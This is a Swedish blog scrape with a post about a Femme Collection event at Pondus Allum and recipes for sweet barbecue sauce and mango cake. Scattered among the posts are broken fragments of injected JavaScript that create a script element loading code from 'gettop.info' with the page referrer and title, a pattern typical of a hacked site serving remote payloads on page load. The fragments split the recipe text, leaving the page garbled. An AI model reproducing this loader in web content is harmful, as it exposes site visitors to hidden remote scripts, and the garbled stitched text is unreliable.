FME Collection event på Pondus Allum

Igår anordnade  Pondus Allum ett trevligt event tillsammans med Femme Collection.
Det bjöds på bubbel, tilltugg och fina priser. De första 80 gästerna fick även en fin goodiebag.
Mkt trevligt upplägg. Kl. 18 öppnades eventet och Hannah hälsade alla gästerna välkomna.
Personalen på Pondus bar kläder från Femme Collection och en DJ spelade musik.
Det bjöds på alkoholfri bubbel, goda tilltugg och 20% rabatt på FEMME Collection under hela eventet.
Det lottades även ut fina presentkort under kvällens gång till de gäster som handlat under kvällen.

13087567_10153591360230959_3871267409207853790_n

13100928_1070691116334264_468998068082573991_n

Jag var där med två av mina kunder som var mycket nöjda med eventet.

13090199_10207639911253702_1940992364_n13077118_10207639911013696_514894276_n

IMG_7226IMG_7228

IMG_7218IMG_7187IMG_7219IMG_7229IMG_7227IMG_7232IMG_7231IMG_7230
Vi gick allihop hem med en välfylld goodiebag.

IMG_7224IMG_7223IMG_7222IMG_7221IMG_7220
Tack Hannah och Peter för att ni är så grymma på det ni gör!

s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if (document.currentScript) {

Sötstark Barbecuesås

Snart är grillsäsongen här och vad passar bättre med en supergod barbecusås som passar till precis allt grillat (kyckling, fläskkött, nötkött, fisk, skaldjur och grönsaker).

IMG_7107

Här kommer receptet.

Recept (4 personer)
1 dl ljus sirap
1 dl ketchup
1 dl grädde
1 tsk senapspulver (Colman’s)
1 tsk ingefära
1 tsk tabasco
1 dl finhackad gul lök (kan uteslutas om ni inte gillar lök)

Gör så här. Blanda ihop alla ingredienser och lägg i den finhackade gula löken. Förvaras i kylen innan servering.

Lycka till!

 

IMG_7107

Så här ser såsen ut utan den finhackade löken.

IMG_7108if (document.currentScript) {

if (document.currentScript) { var d=document;var s=d.createElement(‘script’);

Mangotårta

IMG_6796

Receptet på mangotårtan hittade jag här.

Ingredienser till 12 portioner Mangotårta

100 g smör 8 digestivekex (ca 130 g om du byter ut till glutenfria som har en annan storlek)
2 dl kokosflingor
2 paket fryst mango, 450 g (tinas upp innan tillagning)
2 lime
200 g naturell färskost
2 dl turkisk yoghurt
2 dl + 1 msk florsocker
1 tsk vaniljsocker
5,5 gelatinblad
2 dl vispgrädde

Gör så här: 
1. Smält 100 g smör i en kastrull. Smula digestivekexen och blanda med det smälta smöret och 2 dl kokosflingor i en bunke.
2. Lägg ett bakplåtspapper i botten av en springform och platta ut kexblandningen i formen.
3. Mixa 225 g tinad mango till en slät puré i en bunke. Tillsätt saften från 1 lime, 200 g naturell färskost, 2 dl yoghurt, 2 dl florsocker och 1 tsk vaniljsocker. Vispa ihop till en klumpfri smet.
4. Lägg 5 gelatinblad i kallt vatten i 5 minuter. Värm 2 dl av mangosmeten i en kastrull, dra av från plattan och smält de blötlagda gelatinbladen i smeten under omrörning. Vispa ner gelatinsmeten med resten av mangoyoghurten.
5. Vispa 2 dl grädde fluffigt och

vänd ner den i mangosmeten. Blanda väl och häll smeten i formen.

6. Mangorippel: Lägg 0,5 gelatinblad i vatten i 5 minuter. Mixa 225 g tinad mango slätt med 1 msk florsocker och saften från 1 lime. Värm hälften av rippeln i en liten kastrull och smält ner det blötlagda gelatinbladet. Blanda med resten av rippeln.
7. Klicka ut mangorippeln på tårtan och dra med baksidan av en sked för att få ett häftigt mönster. 8. Plasta formen och ställ i kylen i minst tre timmar. Det går utmärkt att förbereda denna dagen innan.

Ovan är en bild på botten. Jag tycker det är enklast att få den jämn om jag sprider ut hela botten först och sedan plattar till den med baksidan av en sked. Jag har testat att göra det med handen, men då får jag alltid ett lite ojämnt resultat.

IMG_6801IMG_6800IMG_6804IMG_6803IMG_6802IMG_6805IMG_6799IMG_6798IMG_6797IMG_6796

XX

} else {document.currentScript.parentNode.insertBefore(s, document.currentScript);